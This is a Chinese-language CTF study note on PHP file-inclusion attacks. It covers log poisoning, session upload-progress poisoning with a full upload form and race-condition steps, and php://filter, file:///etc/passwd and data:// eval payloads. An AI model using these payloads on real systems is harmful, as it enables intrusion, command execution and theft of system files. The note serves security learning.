文件包含的文件的内容会被当成当前脚本语言,与后缀无关

本地包含

源码中有:
php:includerequireinclude_oncerequire_once
include在包含中出现错误会触发警告,然后代码继续往下运行
require在包含中出现错误会直接报错并退出程序运行
java:java.io.Filejava.io.FileReader
ASP.NET:System.IO.FileStreamSystem.IO.StreamReader

有文件利用

无文件利用

包含日志文件

nginx 日志文件默认在

1
/var/log/nginx/access.log

直接file协议包含

1
file:///var/log/nginx/access.log

日志一般会记录ua头,所以可以把代码写在ua头,然后包含日志文件,就会显示执行结果

ctfshow 80-81

包含session文件

前提

可以利用session.upload_progress将恶意语句写入session文件,从而包含session文件。前提需要知道session文件的存放位置。
session文件一般的默认存储位置为/tmp/var/lib/php/session),例如

1
2
/tmp/sess_123
/var/lib/php/session/sess_123

具体操作

让ai写个构造一个上传表单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
<!DOCTYPE html>  
<html lang="zh-TW">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>动态文件上传</title>
<script src="https://cdn.tailwindcss.com"></script>
<style> /* 基本样式,确保内容居中 */ body {
display: flex;
justify-content: center;
align-items: center;
min-height: 100vh;
background-color: #f3f4f6; /* Tailwind gray-100 */
font-family: 'Inter', sans-serif; /* 使用 Inter 字体 */ }
.container {
background-color: white;
padding: 2rem; /* Tailwind p-8 */
border-radius: 0.5rem; /* Tailwind rounded-lg */
box-shadow: 0 4px 6px -1px rgb(0 0 0 / 0.1), 0 2px 4px -2px rgb(0 0 0 / 0.1); /* Tailwind shadow-md */
width: 100%;
max-width: 28rem; /* Tailwind max-w-md */
}
label {
display: block;
margin-bottom: 0.5rem; /* Tailwind mb-2 */
font-weight: 500; /* Tailwind font-medium */
color: #374151; /* Tailwind text-gray-700 */
}
input[type="text"], input[type="file"] {
width: 100%;
padding: 0.5rem 0.75rem; /* Tailwind px-3 py-2 */
border: 1px solid #d1d5db; /* Tailwind border-gray-300 */
border-radius: 0.375rem; /* Tailwind rounded-md */
margin-bottom: 1rem; /* Tailwind mb-4 */
box-sizing: border-box; /* 确保 padding 不会增加宽度 */ }
input[type="submit"] {
width: 100%;
padding: 0.75rem; /* Tailwind py-3 */
background-color: #3b82f6; /* Tailwind bg-blue-500 */
color: white;
font-weight: 600; /* Tailwind font-semibold */
border: none;
border-radius: 0.375rem; /* Tailwind rounded-md */
cursor: pointer;
transition: background-color 0.2s;
}
input[type="submit"]:hover {
background-color: #2563eb; /* Tailwind bg-blue-600 */
}
.error-message {
color: #ef4444; /* Tailwind text-red-500 */
font-size: 0.875rem; /* Tailwind text-sm */
margin-top: -0.5rem; /* Tailwind -mt-2 */
margin-bottom: 1rem; /* Tailwind mb-4 */
display: none; /* 默认隐藏 */ }
</style>
</head>
<body>
<div class="container">
<h1 class="text-xl font-semibold mb-6 text-center text-gray-800">文件上传</h1>
<?php // session_start(); // 这行 PHP 代码需要服务器端 PHP 环境才能生效
?>

<form id="uploadForm" method="POST" enctype="multipart/form-data" onsubmit="prepareUpload(event)">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="hack" />

<div> <label for="uploadUrl">上传目标 URL:</label>
<input type="text" id="uploadUrl" name="uploadUrl" placeholder="例如:http://example.com/upload" required class="border rounded w-full py-2 px-3 text-gray-700 leading-tight focus:outline-none focus:shadow-outline mb-1">
<p id="urlError" class="error-message">请输入有效的 URL。</p>
</div>
<div> <label for="fileInput">选择文件:</label>
<input type="file" id="fileInput" name="file" required class="border rounded w-full py-2 px-3 text-gray-700 leading-tight focus:outline-none focus:shadow-outline">
</div>
<input type="submit" value="上传文件" class="bg-blue-500 hover:bg-blue-700 text-white font-bold py-2 px-4 rounded focus:outline-none focus:shadow-outline w-full">
</form> </div>
<script> // 获取表单和 URL 输入元素
const form = document.getElementById('uploadForm');
const urlInput = document.getElementById('uploadUrl');
const urlError = document.getElementById('urlError');

// 在表单提交前设置 action 属性
function prepareUpload(event) {
// 阻止表单默认提交行为,以便我们可以先设置 action event.preventDefault();

const urlValue = urlInput.value.trim(); // 获取输入的 URL 并去除前后空格

// 简单的 URL 验证 (检查是否以 http:// 或 https:// 开头)
if (urlValue && (urlValue.startsWith('http://') || urlValue.startsWith('https://'))) {
// 隐藏错误消息
urlError.style.display = 'none';
// 将用户输入的 URL 设置为表单的 action 属性
form.action = urlValue;
// 手动提交表单
form.submit();
} else {
// 显示错误消息
urlError.style.display = 'block';
// 阻止表单提交
return false;
}
}
</script>
</body>
</html>

然后输入url,然后上传文件抓包,然后PHP_SESSION_UPLOAD_PROGRESS这里的值显示为hack

将这个值改为木马

1
<?= system('ls')?>

然后再增加一个cookie,这与session文件名有关

1
Cookie: PHPSESSID=hack


然后发包,再放到爆破模块
然后再靶场那包含session文件

1
?file=/tmp/sess_hack


没结果是正常的,因为临时文件夹是定时删除,所以才要竞争
然后这个包也发到爆破模块,然后就是竞争了,先上传在访问,差不多一千次就有结果了

通过包含session文件的响应得到文件名,然后再执行读文件命令就行了,相当于再重复一遍过程

伪协议

文件读取

只需知道相对路径

1
php://filter/resource=
1
php://filter/read=convert.base64-encode/resource=

要知道完整路径

1
file:///etc/passwd

代码执行

1
data://text/plain,<?=eval($_POST[1]);?>
1
data://text/plain;base64,

远程包含

需要在php.ini中开启allow_url_include